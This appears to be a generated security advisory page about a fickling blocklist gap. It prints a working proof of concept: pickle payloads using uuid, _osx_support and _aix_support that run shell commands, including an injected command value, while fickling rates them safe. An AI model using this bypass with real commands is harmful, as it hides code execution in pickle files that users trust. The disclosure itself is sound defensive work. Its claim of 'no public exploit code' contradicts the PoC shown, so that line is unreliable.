# GHSA-5hwf-rc88-82xm: Fickling missing RCE-capable modules in UNSAFE_IMPORTS

> Fickling fails to blocklist specific Python standard library modules, allowing attackers to execute arbitrary commands via malicious pickle files.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 4 Mar 2026

## What is GHSA-5hwf-rc88-82xm?

GHSA-5hwf-rc88-82xm is an unsafe deserialization vulnerability in fickling, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

# Assessment

The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

# Original report

## Summary

fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.

## Affected Versions

- fickling <= 0.1.8 (all versions)

## Details

### Missing Modules

fickling's `UNSAFE_IMPORTS` (86 modules) does not include:

| Module | RCE Function | Internal Mechanism | Importable On |
|--------|-------------|-------------------|---------------|
| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |
| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |
| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)` | All platforms |
| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |

**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

### Why These Pass fickling

1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged
2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged
3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped
4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)

### Proof of Concept (using fickling's opcode API)

```python
from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT
```

### Verified Output

```
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
```

## Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

## Suggested Fix

Add to `UNSAFE_IMPORTS` in fickling:
```python
"uuid",
"_osx_support",
"_aix_support",
```

**Longer term:** Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

## Resources

- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)
- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)
- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)
- fickling source: `analysis.py` `UNSAFE_IMPORTS` set

## Which versions are affected by GHSA-5hwf-rc88-82xm?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.9 |
| `fickling` | PyPI | All versions | 0.1.9 |

## How do I fix GHSA-5hwf-rc88-82xm?

Upgrade fickling to 0.1.9 or later.

## Is GHSA-5hwf-rc88-82xm being exploited?

There is no known exploitation of GHSA-5hwf-rc88-82xm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-5hwf-rc88-82xm and fix it if it is affected.

What it is: GHSA-5hwf-rc88-82xm is an unsafe deserialization vulnerability in fickling, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-5hwf-rc88-82xm in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.9
- fickling (PyPI): affected all versions; fixed in 0.1.9

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-5hwf-rc88-82xm/ (Markdown: https://insights.sbomify.com/GHSA-5hwf-rc88-82xm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-5hwf-rc88-82xm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-5hwf-rc88-82xm/
Summaries are generated and may contain mistakes; the official description above is the record.